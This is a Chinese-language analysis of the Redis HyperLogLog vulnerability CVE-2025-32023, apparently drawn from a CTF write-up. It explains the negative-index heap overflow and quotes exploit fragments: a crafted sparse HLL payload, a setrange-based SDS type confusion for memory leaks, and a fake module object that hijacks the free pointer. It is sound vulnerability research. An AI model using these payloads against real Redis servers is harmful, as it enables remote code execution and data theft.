CVE-2025-32023 Redis 漏洞分析
Redis中存在一个漏洞(CVE-2025-32023),该漏洞与pfmerge命令有关。当处理格式错误的HyperLogLog(HLL)数据时,可能导致int变量溢出为负值,并引发栈或堆上的越界写入。攻击者可构造特定HLL数据触发此漏洞,在hllSparseToDense函数中造成堆越界写入,并通过修改sds结构长度字段实现类型混淆和信息泄露。 2025-7-15 02:15:53 Author: govuln.com(查看原文) 阅读量:87 收藏

TL; DR

漏洞分析版本: commit a0a6f23d997b024689ba157916837f493a593a34 (HEAD, tag: 7.4.2)

该漏洞是 PlaidCTF 2025 “Zerodeo” 题目。

CVE-2025-32023

Redis 在调用 pfmerge 命令的时候会调用 hyperloglog.c 里的 void pfmergeCommand(client *c) 函数

pfmerge [1] 的作用是将多个 HLL 的数据合并到一个目标 key 中, 是用来合并多个 HypeLogLog (HLL)数据。 对格式错误的 HLL 进行操作时,可能会使 int i 中计数的总长度溢出为负值。这允许攻击者覆盖 HLL 结构上的负偏移量,从而导致栈/堆上的越界写。 (eg: hllMerge() 函数中会发生栈越界, hllSparseToDense() 发生堆越界写)

漏洞原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

void pfmergeCommand(client *c) {
uint8_t max[HLL_REGISTERS];
struct hllhdr *hdr;
int j;
int use_dense = 0;




memset(max,0,sizeof(max));
for (j = 1; j < c->argc; j++) {
...


if (hllMerge(max,o) == C_ERR) {
...
}
}




if (use_dense && hllSparseToDense(o) == C_ERR) {
...
}

...
}

hllSparseToDense 函数中会造成堆相关的越界写, 作者的漏洞利用也是用的这个漏洞原语。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int hllSparseToDense(robj *o) {
sds sparse = o->ptr, dense;
struct hllhdr *hdr, *oldhdr = (struct hllhdr*)sparse;
int idx = 0, runlen, regval;
uint8_t *p = (uint8_t*)sparse, *end = p+sdslen(sparse);


hdr = (struct hllhdr*) sparse;
if (hdr->encoding == HLL_DENSE) return C_OK;




dense = sdsnewlen(NULL,HLL_DENSE_SIZE);
hdr = (struct hllhdr*) dense;
*hdr = *oldhdr;
hdr->encoding = HLL_DENSE;



p += HLL_HDR_SIZE;
while(p < end) {
if (HLL_SPARSE_IS_ZERO(p)) {
runlen = HLL_SPARSE_ZERO_LEN(p);
idx += runlen;
p++;
} else if (HLL_SPARSE_IS_XZERO(p)) {
runlen = HLL_SPARSE_XZERO_LEN(p);
idx += runlen;
p += 2;
} else {
runlen = HLL_SPARSE_VAL_LEN(p);
regval = HLL_SPARSE_VAL_VALUE(p);
if ((runlen + idx) > HLL_REGISTERS) break;
while(runlen--) {
HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);
idx++;
}
p++;
}
}



if (idx != HLL_REGISTERS) {
sdsfree(dense);
return C_ERR;
}


sdsfree(o->ptr);
o->ptr = dense;
return C_OK;
}

while 循环之前是对 HLL 数据的的部分 header 解析,之后是一个转换过程。 HLL 数据是一种 SDS [2]字符串的表示。 我们可以用 set 命令来伪造一个 HLL 数据。

while 循环过程中,是将 HLL 的数据从 sparse 转换成 dense。 在转换过程中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
while(p < end) {
if (HLL_SPARSE_IS_ZERO(p)) {
runlen = HLL_SPARSE_ZERO_LEN(p);
idx += runlen;
p++;
} else if (HLL_SPARSE_IS_XZERO(p)) {
runlen = HLL_SPARSE_XZERO_LEN(p);
idx += runlen;
p += 2;
} else {
runlen = HLL_SPARSE_VAL_LEN(p);
regval = HLL_SPARSE_VAL_VALUE(p);
if ((runlen + idx) > HLL_REGISTERS) break;
while(runlen--) {
HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);
idx++;
}
p++;
}
}

如果当前的数据既不是 HLL_SPARSE_IS_ZERO 也不是 HLL_SPARSE_IS_XZERO 会进入到 HLL_DENSE_SET_REGISTER 函数, 在进到 HLL_DENSE_SET_REGISTER 函数之前有一个判断这个 idx 是否越界。

1
if ((runlen + idx) > HLL_REGISTERS) break; 

runlenidx 都是一个 int 类型的变量, , 而 idx 的值可以在 HLL_SPARSE_IS_ZERO 或者 HLL_SPARSE_IS_ZERO 条件下语句中累加而成。

我们可以通过构造 HLL 数据, 让 idx 不断累加成一个负数。

image.png

然后在 HLL_DENSE_SET_REGISTER 函数中就会发生越界

1
2
3
4
5
6
7
8
9
10
11
#define HLL_DENSE_SET_REGISTER(p,regnum,val) do { \
uint8_t *_p = (uint8_t*) p; \
unsigned long _byte = (regnum)*HLL_BITS/8; \
unsigned long _fb = (regnum)*HLL_BITS&7; \
unsigned long _fb8 = 8 - _fb; \
unsigned long _v = (val); \
_p[_byte] &= ~(HLL_REGISTER_MAX << _fb); \
_p[_byte] |= _v << _fb; \
_p[_byte+1] &= ~(HLL_REGISTER_MAX >> _fb8); \
_p[_byte+1] |= _v >> _fb8; \
} while(0)

PoC 构造

构造越界 payload

HLL 结构大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18


struct hllhdr {
char magic[4];
uint8_t encoding;
uint8_t notused[3];
uint8_t card[8];
uint8_t registers[];
};

#define HLL_P 14
#define HLL_REGISTERS (1<<HLL_P)
#define HLL_DENSE_SIZE (HLL_HDR_SIZE+((HLL_REGISTERS*HLL_BITS+7)/8))

+---------+----------+-----------+--------+-----------
| "HYLL" | encoding | noused | card | registers
+---------+----------+--------------------+-----------
4字节 1字节 3字节 8字节 12288字节
  1. 稀疏(Sparse)编码
    1
    2
    3
    +---------+----------+---------+---------+-------------------+
    | "HYLL" | 0x01 | 保留3字节 | 保留8字节 | 指令流(2字节/条) |
    +---------+----------+---------+---------+-------------------+

从作者的exploit[3]可以看到, 作者通过构造如下的 HLL sparse 让在代码在转换的时候能计算出来一个负数的idx

1
2
3
4
5
6
7
8
9
10
11
pl = b'HYLL'·
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x3fffd
pl += xzero(0xc000 - 0x956c)
pl += p8(0b1_00011_00)
pl += xzero(0x156b)
pl += xzero(0x4000) * 3
time.sleep(1)
r.set('hll:expp', pl)

可以看到有一段 xzero(0x4000) * 0x3fffd 的数据, 可以通过这样数据,就构造 0x3fffd 轮次的 0x4000 idx 累加, 在加上后面的 pl += xzero(0xc000 - 0x956c) 数据,最后就能构造一个负数的 idx

image.png

寻找越界写目标

image.png

在单次下, 我们可以从 registers 往前越界写任意(可构造)偏移一个字节。 作者的思路是在 HLL 结构前面构造 sds 结构, 然后修改 sds 结构的 len 来进行类型混淆。

sds 有几种不同的类型, 其取长度的方式也不一样·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static inline size_t sdslen(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}

例如正常情况下, 我们使用 setrange 长度为0x37fa-8长度, 此时长度小于 65535 , 根据函数sdsReqType 创建出来的 sds 数据,其 flags 位置应该是 2 (SDS_TYPE_16)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18



static inline char sdsReqType(size_t string_size) {
if (string_size < 1<<5)
return SDS_TYPE_5;
if (string_size < 1<<8)
return SDS_TYPE_8;
if (string_size < 1<<16)
return SDS_TYPE_16;
#if (LONG_MAX == LLONG_MAX)
if (string_size < 1ll<<32)
return SDS_TYPE_32;
return SDS_TYPE_64;
#else
return SDS_TYPE_32;
#endif
}

然后在 _sdsnewlen 函数中完成对 sds 结构的初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
sds _sdsnewlen(const void *init, size_t initlen, int trymalloc) {
char type = sdsReqType(initlen);


if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
int hdrlen = sdsHdrSize(type);
unsigned char *fp;
size_t usable;
...
s = (char*)sh+hdrlen;
fp = ((unsigned char*)s)-1;
...
switch(type) {
case SDS_TYPE_5: {
*fp = type | (initlen << SDS_TYPE_BITS);
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
sh->len = initlen;
sh->alloc = usable;
*fp = type;
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
sh->len = initlen;
sh->alloc = usable;
*fp = type;
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
sh->len = initlen;
sh->alloc = usable;
*fp = type;
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
sh->len = initlen;
sh->alloc = usable;
*fp = type;
break;
}
}
if (initlen && init)
memcpy(s, init, initlen);
s[initlen] = '\0';
return s;

在内存中可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> p/x 0x8c & 0x3
$106 = 0x0
pwndbg> p idx
$107 = -38252
pwndbg> p idx*6/8
$108 = -28689
pwndbg> p hdr->registers
$109 = 0x7ffff797d015 ""
pwndbg>
pwndbg> x/20bx 0x7ffff7976000
0x7ffff7976000: 0xfa 0x37 0xfa 0x37 0x02 0x00 0x00 0x00
0x7ffff7976008: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7976010: 0x00 0x00 0x00 0x00

pwndbg> x/20bx 0x7ffff7976000+0x37fa-8
0x7ffff79797f2: 0x00 0x00 0x00 0x00 0x00 0x42 0x42 0x42
0x7ffff79797fa: 0x42 0x42 0x42 0x42 0x42 0x00 0xfa 0x37
0x7ffff7979802: 0xfa 0x37 0x02 0x00
pwndbg>
pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000
$104 = {
len = 0x37fa,
alloc = 0x37fa,
flags = 0x2,
buf = 0x7ffff7976005
}
pwndbg>

由于 sdslen 函数取 sds 长度,是先根据不同的 flags, 然后再根据这个 flags 取计算这个 sds 的header 长度, 然后以当前地址减去 header长度取 len 这个变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static inline size_t sdslen(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}

struct __attribute__ ((__packed__)) sdshdr16 {
uint16_t len;
uint16_t alloc;
unsigned char flags;
char buf[];
};

struct __attribute__ ((__packed__)) sdshdr64 {
uint64_t len;
uint64_t alloc;
unsigned char flags;
char buf[];
};

sdshdr64sdshdr16 的结构体 大小不一样,因此如果将 sds16的 flags 改成 SDS_TYPE_64 , 将为从上一个内存中取一个值作为 sds的长度 (造成一个类似类型混淆的效果)

1
2
3
4
fakelen = 0x4142434445464748

r.setrange('sds:aa', 0x37fa - 11, p64(fakelen)) # sds @ 0x0005, p64() 00 00 00 00
r.setrange('sds:bb', 0x37fa - 8, b'B'*8) # sds @ 0x3805, ................. fa 37 fa 37 02 ~

image.png

例如下面的这样的一个效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000
$115 = {
len = 0x37fa,
alloc = 0x37fa,
flags = 0x2,
buf = 0x7ffff7976005
}
pwndbg> p/x *(struct sdshdr64 *)(0x7ffff7976000-11)
$116 = {
len = 0x41424344454647,
alloc = 0x237fa37fa000000,
flags = 0x0,
buf = 0x7ffff7976006
}
pwndbg>

当从 sdshder16 被当成 sdshdr64 后, sds:b 的长度就变成了上一个内存的一个可控制, 作者是将这个值设置成0x41424344454647。 这样当我们就可以将这个sds:b 当作一个很长的字符串进行操作。作者后面的思路是在内存后喷一堆 embstr, 然后取读取 sds:b 的内容 。 由于此时 sds:b 长度很长,因此读取这个字符串的时候能读书很多的数据,可以读到内存后面很多的东西,这样就可以做 info leak。

然后通过写 sds:b 字符串到操作,在内存中伪造了一个 type 为 Modules 的 Object

1
2
3
4
5
6
# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4] # type, encoding, lru
pl += p32(1) # refcount
pl += p64(badr + 0x10) # ptr
r.setrange('sds:bb', tofs+3, pl)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
typedef struct RedisModuleType {
uint64_t id;
struct RedisModule *module;
moduleTypeLoadFunc rdb_load;
moduleTypeSaveFunc rdb_save;
moduleTypeRewriteFunc aof_rewrite;
moduleTypeMemUsageFunc mem_usage;
moduleTypeDigestFunc digest;
moduleTypeFreeFunc free;
moduleTypeFreeEffortFunc free_effort;
moduleTypeUnlinkFunc unlink;
moduleTypeCopyFunc copy;
moduleTypeDefragFunc defrag;
moduleTypeAuxLoadFunc aux_load;
moduleTypeAuxSaveFunc aux_save;
moduleTypeMemUsageFunc2 mem_usage2;
moduleTypeFreeEffortFunc2 free_effort2;
moduleTypeUnlinkFunc2 unlink2;
moduleTypeCopyFunc2 copy2;
moduleTypeAuxSaveFunc aux_save2;
int aux_save_triggers;
char name[10];
} moduleType;


void freeModuleObject(robj *o) {
moduleValue *mv = o->ptr;
mv->type->free(mv->value);
zfree(mv);
}

通过需改 type->free 来控制 PC

完整的利用流程

可以看 deepwiki 生成的这个流程图[4]

image.png


文章来源: https://govuln.com/news/url/o2mY
如有侵权请联系:admin#unsafe.sh